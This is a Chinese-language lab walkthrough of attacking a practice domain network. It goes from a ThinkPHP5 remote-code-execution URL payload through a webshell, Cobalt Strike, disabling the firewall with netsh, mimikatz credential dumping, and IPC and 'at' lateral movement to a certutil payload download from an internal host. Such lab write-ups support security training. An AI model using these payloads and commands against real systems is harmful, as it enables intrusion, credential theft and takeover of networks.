环境搭建
靶场拓扑图:
靶机下载地址: 漏洞详情
外网信息收集
确定目标靶机地址:
发现主机192.168.135.150主机是本次攻击的目标地址。探测靶机开放的端口信息:
目标靶机开放了两个端口:80、3306,那没什么意外的话就是 web服务和mysql服务
目标靶机开放了80端口,中间件是Apache 3306是mysql服务,系统是windows系统。
默认漏洞脚本的探测结果,除了几个存在的敏感路径之外,似乎看不到什么信息。
看到了两个端口,先看看3306端口吧:是不是存在弱口令等信息:
发现存在白名单,不允许我们连接。
ThinkPHP5 RCE
80端口上是thinkphp的框架,版本是v5:
没有路由信息,接下来做一个目录扫描,看看有什么目录泄露出来:
这里做了递归扫描!看到了几个文件add.php文件,这个文件应该不是thinkphp默认搭建成功存在的文件。还有git信息的泄露!
先看下robots文件中是不是给出了相关的敏感路径:
robots文件中没有什么路径。看一下add文件:
看来是存在waf了,需要进行bypass。这个页面的左上角还存在一个GIF89a,尝试输入下,然后抓包看看数据包中的信息:
这里我最开始先去用ThinkPHP的漏洞检测工具,进行了检测,发现存在RCE。
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
另一个payload:
thinkphp5 5.0.22/5.1.29远程代码执行漏洞_thinkphp v5.0.22-CSDN博客
找到了一篇文章,直接写马进去:
返回了29,尝试访问写的马:
没问题,成功执行代码,连接蚁剑:
蚁剑连接成功!
administrator权限!
上线CS
先看看防火墙,杀毒软件等信息的开启状态:
netsh advfirewall show allprofile state
可以看到防火墙全部开启的状态,由于我们现在的权限还是很高的,直接关闭。当然也可以尝试正向链接。
netsh advfirewall set allprofile state off #关闭防火墙命令
接下来再看看杀软的信息:
tasklist /svc
似乎没有杀软存在,那就可以直接生成CS的反向🐎,上线CS了:
CS配置监听器:
上传马:
执行等待上线:
CS上线成功:
内网信息收集
可以看到存在两个网卡!192.168.138.0/24是另一张网卡!
使用mimikatz,拿到了明文的账号密码信息。存在域环境!
查看域内成员信息,发现了存在leo、admin用户。
域控就是administrator~
这里先去搭建了socks代理。
查看arp缓存表,发现了192.168.138.138主机存活:
确定主机之间能够通信,然后探测端口号:
看到192.168.138.138主机开放的端口比较多。利用上面的socks代理,先看看88端口上是不是存在web服务:
横向上线DC
但是一直访问不到。由于目标主机开放了139端口,似乎没有开放445端口。这里尝试一下利用IPC进行横向移动。
建立IPC链接!尝试访问192.168.138.138主机的共享C盘:
将正向马传至控下来的web主机:
利用copy命令,将他上传到192.168.138.138主机上:
查看到已经上传上去了!利用定时任务尝试执行木马文件。
这里使用了at和schtasks命令先测试了一下 192.168.138.138系统的版本信息:
at命令是 适用于windows 2012之前的操作系统
schtasks命令适用于windows 2012之后(包括windows 2012)操作系统
判断了一下,发现目标的机器是windows 2012之前的系统,它不支持schtasks命令。那么接下来我们就创建一个计划任务,然后等待执行,上线:
利用 net time 判断了当前的时间
然后根据当前的时间信息,创建一个定时任务
at \\192.168.138.138 0:07 c:\3333.exe
当时间到了0:07的时候,程序被执行,由于我们生成的马是正向的马,所以尝试使用connect 进行连接。
但是发现主机并没有上线。
确定一下木马文件没有被杀软等ban掉:
木马确实还在,但是无法上线,怀疑是防火墙规则,建立了入站规则,导致我们无法上线。换成反向马,再试试,反向马需要做转发上线。
建立转发上线的监听器:
继续将木马文件上传到外网主机上面:
再次利用copy命令复制文件:
上传上去之后,再次创建计划任务,尝试上线:
但是似乎还是无法上线。很奇怪。利用impacket包的atexec尝试进行命令执行:GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. (impacket包下载地址)
正常能执行命令。权限还是system权限。那就尝试再次下载文件:
certutil.exe -urlcache -split -f http://192.168.138.136:80/6666.exe fx.exe
下载成功之后,文件会在C:\Windows\System32 目录下面保存:
利用共享目录查看一下是不是存在了:
没问题,下载成功!接下来再次利用脚本执行命令:
发现CS上成功上线了主机:
看一下,防火墙的状态:
防火墙全开了。应该也没有什么杀软,不然马都被杀了。
开启3389端口
关了防火墙,尝试远程上去,利用mimikatz获取到了明文的密码:
利用账号密码,同时和隧道:
rdesktop进行远程连接!